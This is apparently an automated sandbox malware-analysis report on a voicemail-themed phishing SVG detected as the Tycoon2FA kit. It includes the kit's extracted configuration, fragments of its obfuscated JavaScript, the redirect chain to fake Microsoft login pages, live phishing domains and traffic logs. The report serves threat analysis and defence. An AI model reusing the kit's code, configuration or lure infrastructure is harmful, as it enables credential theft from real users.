Edit tour

Windows Analysis Report
VMail_39200330.svg

Overview

General Information

Sample name:	VMail_39200330.svg
Analysis ID:	1640967
MD5:	3a5b974454085bf4c58d0a50223e4816
SHA1:	257565da2a2c04502a549a621215864725df2a5b
SHA256:	217636b9631803bd7addf757c55cf77943243eae2d4ad800d6e4bf5af2841a06
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Found malware configuration

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Creates files inside the system directory

Deletes files inside the Windows folder

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 8028 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7424 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2024,i,411843096288798292,9555603388791790738,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=1972 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 8364 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\VMail_39200330.svg" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "TSqgga",
  "emailcheck": "ce6azz@dxzvthq.co",
  "webname": "rtrim(/web9/, '/')",
  "urlo": "/ajjTaO6WIX5onvbznROzG467IJMTplstVbZF4nADQ7h61aXCb4RM4y7"
}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_123	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
2.12.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.5.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.5.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.9..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.14..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.14..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
3.19.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
2.4.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
3.15..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.4.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
3.15..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
3.21..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.4.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.3.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.5.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.8.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.7.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.4.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.3.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.5.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
3.8.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
3.7.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
3.7.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.5.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
3.8.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.3.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
Click to see the 22 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 3.19.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "TSqgga", "emailcheck": "ce6azz@dxzvthq.co", "webname": "rtrim(/web9/, '/')", "urlo": "/ajjTaO6WIX5onvbznROzG467IJMTplstVbZF4nADQ7h61aXCb4RM4y7"}

Phishing

AI detected phishing page

Source: https://providentfundquery.in/vmail/	Joe Sandbox AI: Score: 7 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'providentfundquery.in' does not match the legitimate domain for Microsoft., The domain 'providentfundquery.in' does not have any obvious connection to Microsoft., The use of a generic domain name unrelated to Microsoft is suspicious., The presence of an input field asking for an email on a non-Microsoft domain increases the risk of phishing. DOM: 1.1.pages.csv
Source: https://providentfundquery.in/vmail/	Joe Sandbox AI: Score: 7 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'providentfundquery.in' does not match the legitimate domain for Microsoft., The domain 'providentfundquery.in' does not contain any recognizable association with Microsoft., The URL uses a generic term 'providentfundquery' which is unrelated to Microsoft, raising suspicion., The domain extension '.in' is not typically associated with Microsoft's global operations., The presence of an unrelated email domain 'dxzvthq.co' in the input fields further suggests phishing. DOM: 1.2.pages.csv
Source: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'abc.lyraxw.es' does not match the legitimate domain for Microsoft., The URL uses an unusual domain extension '.es' which is not typically associated with Microsoft., The URL contains an unrelated string 'lyraxw', which is suspicious and indicative of phishing., The email domain 'dxzvthq.co' in the input fields does not match any known Microsoft domains. DOM: 3.7.pages.csv
Source: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The URL 'abc.lyraxw.es' does not match the legitimate domain for Microsoft., The domain 'lyraxw.es' is not associated with Microsoft and appears suspicious., The use of a seemingly random subdomain 'abc' and the domain 'lyraxw.es' suggests potential phishing., The URL does not contain any recognizable Microsoft-related terms or subdomains. DOM: 3.8.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 3.7.pages.csv, type: HTML
Source: Yara match	File source: 3.8.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 2.4.d.script.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 2.4.d.script.csv, type: HTML
Source: Yara match	File source: 3.21..script.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_123, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 3.19.d.script.csv, type: HTML
Source: Yara match	File source: 2.12.d.script.csv, type: HTML
Source: Yara match	File source: 2.5.d.script.csv, type: HTML
Source: Yara match	File source: 2.9..script.csv, type: HTML
Source: Yara match	File source: 3.14..script.csv, type: HTML
Source: Yara match	File source: 3.15..script.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML
Source: Yara match	File source: 3.8.pages.csv, type: HTML
Source: Yara match	File source: 3.7.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: https://providentfundquery.in/vmail/

Joe Sandbox AI: Page contains button: 'Listen to Voicemail' Source: '1.2.pages.csv'

AI detected suspicious Javascript

Source: 2.5.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including detecting browser automation tools, blocking common keyboard shortcuts, disabling right-click context menus, and using a debugger trap to redirect the user to an unrelated website. These behaviors are highly suspicious and indicate potential malicious intent, such as preventing the user from interacting with the page or redirecting them to a phishing site.
Source: 2.12.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including disabling common keyboard shortcuts, preventing right-click context menus, and using a debugger-based technique to detect and redirect the user to an external domain. These behaviors are highly suspicious and indicate potential malicious intent, likely to bypass security measures or engage in unwanted user interactions.
Source: 1.2..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://providentfundquery.in/vmail/... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated URLs. The script decodes a URL and then redirects the user to that URL with the user's email address as a query parameter, which could be used for malicious purposes such as phishing or data collection. Additionally, the use of an encoded worker URL is a common technique used to hide the true destination of the redirect. Overall, this script demonstrates a high level of risk and should be thoroughly investigated.
Source: 2.11..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://abc.lyraxw.es/HX1rTg/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code, the presence of a debugger, and the attempt to override the context menu and keyboard events further increase the risk. Overall, this script exhibits a high level of malicious intent and should be considered a significant security threat.
Source: 2.3..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://abc.lyraxw.es/HX1rTg/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` and `decodeURIComponent()` to decode and execute remote code is a clear indicator of malicious intent. Additionally, the script appears to be sending user data to an untrusted domain, which poses a significant risk of data theft or other malicious activities. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.
Source: 2.4.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates high-risk behaviors, including dynamic code execution using `eval()` and potential data exfiltration. The obfuscated code and use of proxy objects further increase the risk. This script should be considered highly suspicious and potentially malicious.

Source: https://providentfundquery.in/vmail/	HTTP Parser: Number of links: 0
Source: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH	HTTP Parser: Number of links: 0

Source: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://abc.lyraxw.es/HX1rTg/#Xce6azz@dxzvthq.co

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>AI UI Template</title> <style> body { font-family: 'Segoe UI', Tahoma, Geneva,...

Source: https://providentfundquery.in/vmail/	HTTP Parser: Title: Voicemail Notification does not match URL
Source: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH	HTTP Parser: Title: Secure Access To Account does not match URL

Source: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH	HTTP Parser: Invalid link: Terms of use
Source: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH	HTTP Parser: Invalid link: Privacy & cookies
Source: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH	HTTP Parser: Invalid link: Terms of use
Source: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH	HTTP Parser: Invalid link: Privacy & cookies

Source: https://abc.lyraxw.es/HX1rTg/	HTTP Parser: function ozvtadgbeg(){rivpjewqeo = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagica8bwv0ysbjagfyc2v0psjvveytoci+ciagica8bwv0ysbuyw1lpsj2awv3cg9ydcigy29udgvudd0id2lkdgg9zgv2awnllxdpzhrolcbpbml0awfslxnjywxlpteumci+ciagica8dgl0bgu+t2zmawnlidm2nsbeb2n1bwvudgf0aw9upc90axrszt4kicagidxzdhlszt4kicagicagicbib2r5ihskicagicagicagicagzm9udc1myw1pbhk6iefyawfslcbzyw5zlxnlcmlmowogicagicagicagicbsaw5llwhlawdoddogms42owogicagicagicagicbtyxjnaw46idiwchg7ciagicagicagfqogicagicagiggxlcbomib7ciagicagicagicagignvbg9yoiajmky1ndk2owogicagicagih0kicagicagicb1bcb7ciagicagicagicagigxpc3qtc3r5bgutdhlwztogc3f1yxjlowogicagicagih0kicagicagicbhihskicagicagicagicagy29sb3i6icmwmdc4rdq7ciagicagicagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagicagicb9ciagicagicagytpob3zlcib7ciagicagicagicagihrlehqtzgvjb3jhdglvbjogdw5kzxjsaw5lowogicagicagih0kicagidwvc3r5bgu+cjwvagvhzd4kpgjvzhk+ciagica8ade+r2v0dgluzybtdgfydgvkihdpdgggt2zmawnlidm2ntwvade+ciagica8cd5pzmzpy2ugmzy1iglzigegy2xvdwqtymfzzwqgc3vpdgugb2ygchjvzhvjdgl2axr5ihrvb2xzigrlc2lnbmvki...
Source: anonymous function	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "tsqgga";var emailcheck = "ce6azz@dxzvthq.co";var webname = "rtrim(/web9/, '/')";var urlo = "/ajjtao6wix5onvbznrozg467ijmtplstvbzf4nadq7h61axcb4rm4y7";var gdf = "/ijxqr0tgqzflzgejhmwxtxneuabhmof1pggxmnab120";var odf = "/gh7ztlktiliiyepqwpahwsfw4zezwxqzlguunkggycd643";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(useragent.m...

Source: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH

HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/Desktop/VMail_39200330.svg	HTTP Parser: No favicon
Source: https://providentfundquery.in/vmail/	HTTP Parser: No favicon
Source: https://providentfundquery.in/vmail/	HTTP Parser: No favicon
Source: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH	HTTP Parser: No favicon
Source: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH	HTTP Parser: No favicon

Source: https://providentfundquery.in/vmail/	HTTP Parser: No <meta name="author".. found
Source: https://providentfundquery.in/vmail/	HTTP Parser: No <meta name="author".. found
Source: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH	HTTP Parser: No <meta name="author".. found
Source: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH	HTTP Parser: No <meta name="author".. found

Source: https://providentfundquery.in/vmail/	HTTP Parser: No <meta name="copyright".. found
Source: https://providentfundquery.in/vmail/	HTTP Parser: No <meta name="copyright".. found
Source: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH	HTTP Parser: No <meta name="copyright".. found
Source: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.92.235.25:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.92.235.25:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.15.59.240:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.15.59.240:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.58:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.58:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.4.189:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.220.176:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.220.176:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.1.100:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49839 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: dawn-dust-7616.kpapp.workers.dev to https://abc.lyraxw.es/hx1rtg/#xce6azz@dxzvthq.co

Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 13.33.187.14 13.33.187.14
Source: Joe Sandbox View	IP Address: 104.26.1.100 104.26.1.100

Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.184.227
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.184.227
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 184.86.251.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.2
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.2
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /vmail HTTP/1.1Host: providentfundquery.inConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vmail/ HTTP/1.1Host: providentfundquery.inConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wikipedia/commons/4/44/Microsoft_logo.svg HTTP/1.1Host: upload.wikimedia.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://providentfundquery.in/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wikipedia/commons/4/44/Microsoft_logo.svg HTTP/1.1Host: upload.wikimedia.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
